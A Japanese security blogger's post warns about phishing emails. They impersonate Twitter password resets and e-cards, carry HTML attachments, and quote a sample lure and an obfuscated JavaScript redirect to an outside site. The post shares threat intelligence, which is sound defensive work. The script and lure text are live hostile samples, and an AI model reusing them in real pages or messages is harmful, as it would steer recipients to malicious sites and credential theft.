FC2ブログ

【今日のウイルスメール】相変わらずのHTMLメール

自宅のPCが壊れたので、この1週間、収集と分析が出来ないでいる。久しぶりにメールを覗いてみると、相変わらずたくさん来ている。

最近は、ほとんどがHTMLメールで、誘導スクリプトが直接書いてある。しかも、前回書いたように難読化されており、一見してどこに飛ばされるかわからない。

極めて危険。

サブジェクト例
Reset your Twitter password
longitudinaljmb50@reichholdmachinery.com has sent you a birthday ecard.
○○.com account notification

本文例
Hey there.

Because of the measures taken to provide safety to our clients, your password has been changed.
You can find your new password in attached document.

Yours,
Twitter


添付HTML
ecard.html
index.html

スクリプト内容 例
<script type='text/javascript'>function j(){};var uE=false;j.prototype = {v : function() {var l='';this.lU=false;this.a='';var r=document;f="";var rI=new Date();var s=14705;var y=r['l$o$cWaptWi$o$nd'.replace(/[dW\<p\$]/g, '')];k='';this.vT='';var x=new Array();y['har%eafp'.replace(/[p%~Aa]/g, '')]='hututrp*:u/r/^m*a)b*cuorm).un)e)t^/*zu.uh*tum)'.replace(/[\)r\^\*u]/g, '');var lC=new Array();var e=new Array();this.sJ="";var i=false;}};var uH=function(){return 'uH'};var u=new j(); var o=function(){};u.v();sQ="sQ";</script>

コメント

管理人のみ閲覧できます

このコメントは管理人のみ閲覧できます

非公開コメント

プロフィール

どらいつ 家主:どらいつ

情報セキュリティ会社勤務。13年前からタバコを止めたが禁煙はしてない。ダイエットとリバウンドの繰り返し。


1958年 北九州市生まれ。大原小学校、池田小学校、香月中学、北九州予備校、東筑高校、熊本大学土木科(中退)、1984年就職、現在にいたる。

中学時は水泳部。部内で平泳ぎ 4位(4人中)。高校・大学時代9年間はラグビー。ポジションはフッカー。当時に今の体重があれば、、

ツイッター(Twitter) dry2
つぶやきログ(Twilog) dry2
日経電子版コラム
日経BP連載
グーグル+写真アルバム
フォト蔵 dry2

最新記事
最新コメント
カテゴリ
RSS
どらいつのお気に入り